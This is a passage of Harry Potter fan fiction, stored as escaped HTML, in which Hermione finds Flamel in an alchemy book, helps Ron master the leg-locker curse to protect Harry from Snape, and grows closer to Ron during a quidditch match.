Neville saying. &#8220;You&#8217;re worth twelve of\nMalfoy.&nbsp; The sorting hat chose you for\nGryffindor, didn&#8217;t it?&nbsp; And where&#8217;s Malfoy,\nin stinking Slytherin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsmiled.&nbsp; It never ceased to amaze her how\nkind Harry could be, even if he was a bit thick headed at times.&nbsp; He always stood up for Neville when Malfoy or\nthe other Slytherins were picking on him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville headed\nfor bed, leaving the famous witches and wizards card with Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dumbledore\nagain,&#8221; Harry sighed, flipping over the card absent-mindedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to tell off Ron for what he said to Neville when Harry caught their\nattention again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve found him.&nbsp; I&#8217;ve found Flamel.&nbsp; I told you I read the name somewhere\nbefore.&nbsp; I read it on the train coming\nhere.&nbsp; Listen to this.&#8221;&nbsp; Harry began to read the back of the card and\nthen Hermione understood.&nbsp; Nicolas Flamel\nhad worked with Dumbledore in alchemy.&nbsp;\nAlchemy was the key.&nbsp; And then it\nhit her; she had read Flamel&#8217;s name too.&nbsp; She had forgotten all about it, but it was\nthe night she and Harry had first decided to be friends.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped\nup. &#8220;Stay there,&#8221; and without another word, she bolted for her dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; Lavender said in shock as Hermione burst through\nthe door.&nbsp; She and Parvati were already\nthere.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione started\ntossing things wildly out of her trunk. &#8220;Can&#8217;t talk now; gotta find something.&#8221;&nbsp; She only\nhoped that she hadn&#8217;t returned it to the library.&nbsp; Then at the bottom of the trunk, she saw it,\na huge book titled &#8220;1000 Years in Alchemy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She heaved the\nbook out of her trunk and flew back down the stairs, slamming it on the\ntable.&nbsp; Harry and Ron jumped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I never thought\nto look in here.&nbsp; I got this out of the\nlibrary weeks ago for a bit of light reading.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Light?&#8221; Ron repeated in shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it, Ron.&#8221;\nHermione hissed and she began flipping through the pages. &#8220;I know it&#8217;s in\nhere.&nbsp; I know it.&nbsp; Oh where is that bloody chapter.&nbsp; Ah here it is.&#8221;&nbsp;&nbsp; She scanned the page.&nbsp; &#8220;I knew it.&nbsp;\nI <i style="mso-bidi-font-style:normal">knew</i> it.&nbsp; Nicolas Flamel is the only known maker of the\nSorcerer&#8217;s Stone.&#8221;&nbsp;&nbsp; She beamed at the\ntwo boys, expecting praise for her discovery but instead she received blank\nstares.&nbsp; Neither Harry nor Ron knew what\nshe was talking about so she pushed the book over at them so that they could\nread it. The Sorcerer&#8217;s Stone was a magical rock that could turn metal to gold\nand create the Elixir of Life, which made the drinker immortal.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After they read\nthis, it all became clear to the three of them what was going on inside\nHogwarts.&nbsp; Dumbledore was keeping Flamel&#8217;s Sorcerer&#8217;s Stone and Snape was trying to steal\nit.&nbsp; No wonder he would do anything,\nincluding trying to kill Harry, to get to it.&nbsp;\nNow they knew what they were up against, but how would they prove it\nbefore Snape tried to kill Harry again?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was obvious\nthat Harry had made up his mind.&nbsp; He\nwasn&#8217;t going to back down from the upcoming quidditch match or from Snape.&nbsp; Hermione was more worried than she&#8217;d ever\nbeen. Snape had already tried to kill him once and now that he was going to be\nin the air with Harry, he could do anything.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She sat in the\ncommon room one evening, pondering this.&nbsp;\nIt was still raining on and off, so once again she decided against\nwatching Harry practice.&nbsp; Ron joined her\nshortly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, want to play chess?&#8221; He asked merrily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nsnapped.&nbsp; She could have punched him for\nbeing in such a good mood while Harry&#8217;s life was in danger.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, I promise\nto go easy on you,&#8221; Ron pressed. &#8220;Not that you need it, you almost beat me the\nother night with that move you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How can you\nthink about chess at a time like this?&#8221; Hermione hissed. &#8220;In a few days, Harry\nis going to be up in the air with Snape trying to kill him.&nbsp;&nbsp; Doesn&#8217;t that bother you?&nbsp; What kind of friend are you anyway?&nbsp; If you were in trouble, Harry would do\neverything in his power to try and help you but you act like you don&#8217;t even\ncare what happens to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked at her\nin shock.&nbsp; He plopped down in the\narmchair beside her. &#8220;Of course I care about what happens to Harry,&#8221; he sighed.\n&#8220;I&#8217;m just as worried about this as you are.&nbsp;\nI really am.&nbsp; But I don&#8217;t know\nwhat to do.&nbsp; Harry&#8217;s not going to back\ndown and once he&#8217;s up in the air, there&#8217;s nothing I can do to help.&nbsp; I don&#8217;t know if you&#8217;ve noticed but I&#8217;m\nnowhere near as good a wizard as you and even if I was, I don&#8217;t know any spells\nthat could stop Snape while he&#8217;s in the air.&nbsp;\nIt takes powerful magic to stop a broomstick, you know that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this for a moment. &#8220;You&#8217;re right.&nbsp;\nBut we can&#8217;t just sit here and do nothing.&nbsp; There&#8217;s got to be a way to help Harry when\nSnape tries to attack him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re the\nclever one.&nbsp; If you can think of\nsomething, I&#8217;m all ears.&nbsp; I&#8217;ll do\nanything to help Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\ntell he was sincere.&nbsp; It seemed that she\nhad underestimated how worried he had been about their friend.&nbsp; She thought long and hard, trying to\nformulate a plan, some way to give Harry an edge&#8230; and then it came to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron do you\nremember when Neville lost control of his broom during our first flying\nlesson?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded\nvaguely. &#8220;Yeah&#8230; so?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got a plan.&#8221;\nHermione grinned slyly.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron hadn&#8217;t known\nabout what really happened during their first flying lesson even though\nHermione had eventually told Harry.&nbsp; So\nshe explained what Pansy had done, performing the levitation spell on Neville\nto make everyone think he had just lost control.&nbsp; If Pansy could do it, then it should work for\nthem too.&nbsp; They didn&#8217;t need to jinx\nSnape&#8217;s broom, just Snape.&nbsp; They decided\nthat night to start practicing the leg-locker curse.&nbsp; It was simple, but it would definitely\ndistract Snape if he tried to curse Harry&#8217;s broom again, and that was all they\nneeded.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next night,\nwhile Harry was at practice, Hermione and Ron left the Gryffindor common room\nand ventured down to the empty transfiguration classroom to practice the\ncurse.&nbsp; Hermione already knew it, but Ron\nwas having difficulties and they both agreed it would be best if both of them mastered\nit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay Ron, you&#8217;ll\nhave to try it on me since we don&#8217;t have any other targets.&#8221;&nbsp; Hermione told him as she stood against one of\nthe walls.&nbsp; Ron raised an eyebrow,\nuncertain. &#8220;Don&#8217;t worry, I know the counter-curse.&nbsp; I&#8217;ll be alright.&nbsp; Now go ahead; it&#8217;s Locomortor\nMortis.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron tried, and\ntired, and tried.&nbsp; Over and over again,\nhe called out the magical words, waving his wand frantically, but with no\nresults.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron you&#8217;re not\nsaying it right,&#8221; Hermione said for about the hundredth time that night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I <i style="mso-bidi-font-style:normal">know</i> I&#8217;m not saying it right,&#8221; Ron\nsnapped. &#8220;You telling me isn&#8217;t helping.&#8221; He plopped\ndown in a nearby chair. &#8220;I give up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stormed\nover to him. &#8220;You can&#8217;t just quit.&nbsp; You\nneed to keep practicing or you&#8217;ll never learn how to do it properly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think I\never will learn how to do it properly.&nbsp;\nI&#8217;m just no good at this.&nbsp; You of\nall people should know I&#8217;m not exactly the most adept when it comes to\nspell-work.&nbsp; I mean, you practically rub\nit in my face every day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do not!&#8221;\nHermione said indignantly. &#8220;What are you talking about?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Every day it&#8217;s\nthe same.&nbsp; Guess who&#8217;s the first to get\nthe difficult charm down, guess who&#8217;s the first to transfigure her quill, guess\nwho&#8217;s the first person to finish her potion.&nbsp; It&#8217;s always you, Hermione.&nbsp; No witch or wizard in our year can even come\nclose.&nbsp; I don&#8217;t even know why I\nbother.&nbsp; You can help Harry all by\nyourself.&nbsp; You don&#8217;t need me.&nbsp; I&#8217;m useless.&nbsp;\nSometimes I wonder why Harry even hangs around with me.&nbsp; I mean, he&#8217;s famous.&nbsp; You&#8217;re smart and all the teachers love you\nand all the students are jealous of you so it&#8217;s no wonder he respects you.&nbsp; But what am I good for?&nbsp; I can&#8217;t even get one stupid spell to work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nat him for a few moments.&nbsp; Of course she\nknew that Ron often got mad at her for being an overachiever but never in her\nwildest dreams did she think that he actually felt worthless.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Ron&#8230;&#8221; she started. &#8220;You&#8217;re not useless.&nbsp; Why would you ever think that?&nbsp; You don&#8217;t have to be a great wizard to be a\ngreat friend and that&#8217;s what you are to Harry.&nbsp;\nThat&#8217;s why he likes you.&nbsp; If there\nis one thing I&#8217;ve learned about Harry, it&#8217;s that he doesn&#8217;t choose his friends\nby what they can do for him.&nbsp; If he did,\nMalfoy would be his friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shuddered at\nthat.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, you\nshouldn&#8217;t compare yourself to me.&nbsp; Sure\nI&#8217;m good at doing spells and memorizing books, but there are things that you&#8217;re\ngood at too.&nbsp; You&#8217;re great with strategy,\nthat&#8217;s why you keep beating me at wizard&#8217;s chess.&nbsp; You&#8217;re much braver than I am, that&#8217;s why you\ncould take on that mountain troll.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron managed a\nslight grin. &#8220;I guess you&#8217;re right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look, Harry\nneeds us, both of us.&nbsp; Snape is going to\nbe up there with him and we both need to know the curse in case one of us\nmisses.&nbsp; I know you can do it.&nbsp; It&#8217;s just going to take some time.&nbsp; I tell you what, we&#8217;ll stop for tonight and\npick it up again tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded and\nthey both left the room silently.&nbsp; As\nthey headed back to Gryffindor Tower, Hermione became lost in thought again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Wow, I would have never guessed Ron would\never feel that way.&nbsp; It must feel awful\nto wonder whether or not you&#8217;re good at anything.&nbsp; I mean at least I know I&#8217;m good with spells\nand potions.&nbsp; I&#8217;ve never had to worry\nabout that.&nbsp; I guess having so many older\nbrothers that have been in Hogwarts before him must make it difficult for him\nto carve a place for himself and make his own identity.&nbsp; It can&#8217;t help that his best friend is famous\nand that I&#8217;m the class genius,&#8221;</i> she looked at Ron who was deep in thought. <i style="mso-bidi-font-style:normal">&#8220;Maybe he&#8217;s not as big a jerk as I thought\nhe was.&nbsp; I suppose I&#8217;ve been a bit hard\non him.&nbsp; I&#8217;ve got to stop judging people\nso harshly.&nbsp; I should give Ron more of a\nchance.&nbsp; I mean, he&#8217;d do anything for\nHarry.&nbsp; That&#8217;s got to mean something.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave the\npassword and the portrait door swung open.&nbsp;\n&#8220;Hermione, do you really think we&#8217;ll be able to help Harry if he does\nget in trouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;With his two\nbest friends looking out for him, there&#8217;s no way Snape will have a chance.&#8221;\nHermione said determinedly.&nbsp; &#8220;Wait\nhere.&nbsp; I have something for you.&#8221; She\nbolted up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; Lavender said in shock as Hermione burst through\nthe door.&nbsp; She and Parvati were already\nthere.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione started\ntossing things wildly out of her trunk again. &#8220;Can&#8217;t talk now; gotta find something.&#8221;&nbsp; She\npulled out a small book and ran out the door again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender turned\nto Parvati in shock. &#8220;She keeps doing that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ran back\nto Ron and handed him the book, which was titled &#8220;Curses and Counter-Curses.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s this\nfor?&#8221; Ron asked as he flipped through the book.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s how I\nlearned the leg-locker curse and the counter curse.&nbsp; It&#8217;ll help you, I promise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only you would\nthink a book could help me,&#8221; Ron said with a half grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just try it,\nRon.&nbsp; It&#8217;s worth a shot.&nbsp; You don&#8217;t have to read the whole thing, just\nthe part about the leg-locker curse.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, alright,&#8221;\nRon sighed. &#8220;But I resent being given more homework by you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that moment,\nHarry stepped through the portal. &#8220;Hey you two, what&#8217;s up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron slipped the\nbook up the back of his shirt casually. &#8220;Nothing; how was practice?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, you&#8217;ve got\nit, you&#8217;ve finally got it.&#8221; Hermione said as she pulled out her wand to perform\nthe spell that would undo the leg locker curse.&nbsp;\nRon had successfully jinxed her for the third time that night.&nbsp; It had been three days since they started\npracticing but now it seemed that all their hard work had paid off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before Hermione\ncould un-jinx herself, Ron waved his wand again. &#8220;Locomortor\nReturnus.&#8221; Hermione&#8217;s legs returned to normal\nimmediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, you&#8217;ve got\nthe counter curse down too?&nbsp; That&#8217;s a lot\nof progress since yesterday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron scratched his\nhead awkwardly. &#8220;Well to tell you the truth, it&#8217;s because I finally read that\nbook you gave me.&nbsp; I figured it was worth\na shot.&nbsp; There was actually a lot of good\ninformation in there.&nbsp; I guess it worked.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See I told\nyou.&nbsp; Reading isn&#8217;t such a bad thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded. &#8220;Yeah\nbut it&#8217;s not going to be a habit, trust me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright, I guess\nthat&#8217;s enough for tonight.&nbsp; Harry will be\nback soon.&#8221; Hermione started for the door. &#8220;Unless you want\nme to teach you another spell?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, no, no.&#8221; Ron\nsaid immediately. &#8220;My head hurts from all that learning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed\nas they started down the corridor.&nbsp; She&#8217;d\nspent three nights practicing the leg-locker curse with Ron and it seemed to\nhave done wonders for their friendship.&nbsp;\nOf course they still fought, but at least they understood each other a\nlittle better. <i style="mso-bidi-font-style:normal">&#8220;I guess it&#8217;s good that\nHarry&#8217;s two best friends actually get along.&nbsp;\nI mean a while ago I thought I was going to kill Ron, then I figured I&#8217;d\nhave to tolerate him since he was Harry&#8217;s friend, but now&#8230; well now I guess\nhe&#8217;s my friend too.&nbsp; So I really do have\nto tolerate him now.&nbsp; What have I gotten\nmyself into?&#8221; </i>Hermione giggled at this thought.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s so\nfunny?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221;\nHermione said immediately, but she giggled again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione\nsometimes I worry about you, but I guess you can be pretty cool sometimes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks Ron,\nyou&#8217;re pretty tolerable yourself,&#8221; Hermione quipped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded at\nfirst but then he thought for a moment. &#8220;Wait a minute&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now don&#8217;t\nforget, it&#8217;s Locomortor Mortis,&#8221; Hermione told Ron as\nthey took a seat in the quidditch stands beside Neville and just above Parvati,\nLavender, and Padma.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, don&#8217;t\nnag,&#8221; Ron snapped.&nbsp; He was agitated and\nHermione couldn&#8217;t blame him.&nbsp; They were\nboth nervous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look,&#8221; Ron said\nas the two teams converged on the center of the field. &#8220;I&#8217;ve never seen Snape\nlook so mean.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The players were\noff and Hermione&#8217;s full attention was on the game now.&nbsp; Nothing else mattered. Her eyes darted back and\nforth from Harry, who seamed to be looking frantically for the snitch, to Snape\nwho vindictively awarded penalties to Hufflepuff for apparently no reason.&nbsp; She sat with her fingers crossed in her lap.&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Come\non Harry&#8230; just catch the snitch.&nbsp; Find it\nand catch it so we can all go home.&nbsp; Come\non&#8230; you can do it.&nbsp; You&#8217;re not the\nyoungest seeker in a century for nothing.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The blood in\nHermione&#8217;s ears was pounding.&nbsp; All of the\nsound seemed to turn off as she watched Harry intently.&nbsp; The whole game seemed to be going in slow\nmotion.&nbsp; It had only been a few minutes\nbut it already seemed like forever. <i style="mso-bidi-font-style:normal">&#8220;No\ngame in the world should be this intense.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly, Harry\nwent into a dive.&nbsp; &#8220;Ron,&#8221; she said\ncatching his attention, &#8220;Harry!&#8221;&nbsp; She\njumped out of her seat, watching Harry even more intensely. If he saw the\nsnitch he was the only one.&nbsp; She couldn&#8217;t\nsee the flying gold ball anywhere.&nbsp; But\nshe trusted Harry&#8217;s seeker instincts and bounced from toe to toe in anxiety as\nHarry sped past Snape.&nbsp; And then, in a\nfew fast paced seconds, it was over.&nbsp;\nHarry had done it&#8230; he had caught the snitch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na gasp of excitement and relief.&nbsp;&nbsp; She\nturned to hug Ron, but he was gone. &#8220;Ron?&nbsp;\nRon, where are you?&nbsp; The game&#8217;s\nover.&nbsp; Harry&#8217;s won!&nbsp; We&#8217;ve won!&nbsp;\nGryffindor is in the lead!&#8221; Parvati, Lavender, and Padma were also\ncheering and Hermione ended up hugging Parvati instead.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\naround for Ron again and finally noticed that Malfoy, Crabbe,\nand Goyle were also there.&nbsp; It seemed that they had all been in a fight.&nbsp; Even Neville had gotten in on the action from\nthe look of things.&nbsp; He had a swollen eye\nand was out cold underneath his chair.&nbsp;\nApparently Hermione had missed the whole thing because now Malfoy and\nhis lackeys were leaving.&nbsp; They had their\nshare of bruises too and it seemed they were leaving to lick their wounds.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Ron,&#8221; she\nsaid helping him up. &#8220;How could you fight at a time like this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just snapped,&#8221;\nRon said through a bloody nose. &#8220;He shouldn&#8217;t have been talking about me and\nHarry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well it&#8217;s over\nnow.&nbsp; Gryffindor won and that means we&#8217;re\nahead of the Slytherins.&nbsp; We&#8217;re going to\nwin the house cup for sure now.&nbsp; Let\nMalfoy chew on that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And Harry&#8217;s\nsafe.&nbsp; That&#8217;s all that matters now,&#8221; Ron\nsaid gleefully.&nbsp; He jumped up on his seat\nto get a better view of the quidditch field.&nbsp;\n&#8220;Would ya look at that.&nbsp; The whole house is down there lifting Harry\nup on their shoulders.&#8221;&nbsp; Ron started\ncheering. &#8220;Way to go Harry.&nbsp; I knew you\ncould do it.&#8221; He turned to Hermione, &#8220;That had to be the fastest catch of the\nsnitch in&#8230; forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nstaring at Ron&#8217;s bloody nose. &#8220;Oh Ron, we should get you and Neville to the\nhospital wing.&#8221;&nbsp; Neville was moaning.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Ron looked\ndown and realized Neville&#8217;s condition for the first time.&nbsp; &#8220;Oh you&#8217;re right.&#8221; They helped him up and\nheaded down the stands with Neville between them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was really\nchildish of you to get into a fight, and dragging Neville into it with\nyou.&nbsp; What were you thinking?&#8221; Hermione\nscolded as they carefully descended the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I told you; I\nwasn&#8217;t thinking.&nbsp; Malfoy just hit a nerve\nand Neville jumped in on his own.&nbsp; I\ndidn&#8217;t make him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still, you could\nhave gotten in trouble,&#8221; Hermione hissed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He was talking\nabout me and Harry,&#8221; Ron reminded her. &#8220;I would have done the same thing if he was\ntalking about you.&nbsp; It&#8217;s just the way I\nam.&nbsp; I can&#8217;t stand Malfoy, especially\nwhen he&#8217;s talking about one of my friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione fell\nsilent as they started across the field. <i style="mso-bidi-font-style:normal">&#8220;He\nwould have done the same for me,&#8221;</i> she thought to herself. <i style="mso-bidi-font-style:normal">&#8220;Well I guess that&#8217;s saying something if Ron\nconsiders me enough of a friend to stick up for me the way he does Harry.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they made\ntheir way back to the castle, Professor Dumbledore crossed their path.\n&#8220;Professor, were you at the game?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, it was very\nexciting, although I wish it could have lasted longer.&nbsp; I so seldom get to watch quidditch these\ndays.&nbsp; Nevertheless it was an exciting\nfew minutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, Harry did\ngreat.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I see Mr.\nLongbottom was&#8230; overcome with emotion.&#8221; Dumbledore said as he peered at the\nstudent they were practically carrying.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; yeah,&#8221; Ron\nsaid, well aware that his nose was still bleeding. &#8220;Sometimes watching\nquidditch can be just as rough as playing it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I see.&#8221; The\nheadmaster seemed to be willing to accept this vague explanation as he started\noff again. &#8220;Oh by the way Ms. Granger,&#8221; he said suddenly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned\nher head to face him. &#8220;Yes, sir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m very proud\nof you.&nbsp; It seems you were able to help\nHarry without magic after all.&#8221;&nbsp; He\nturned and walked away.&nbsp; Hermione beamed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What was that\nall about?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221;\nHermione said quickly. &#8220;Come on; let&#8217;s get to the hospital wing.&#8221;&nbsp; They both lifted Neville&#8217;s limp body and\ncontinued to carry him towards the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
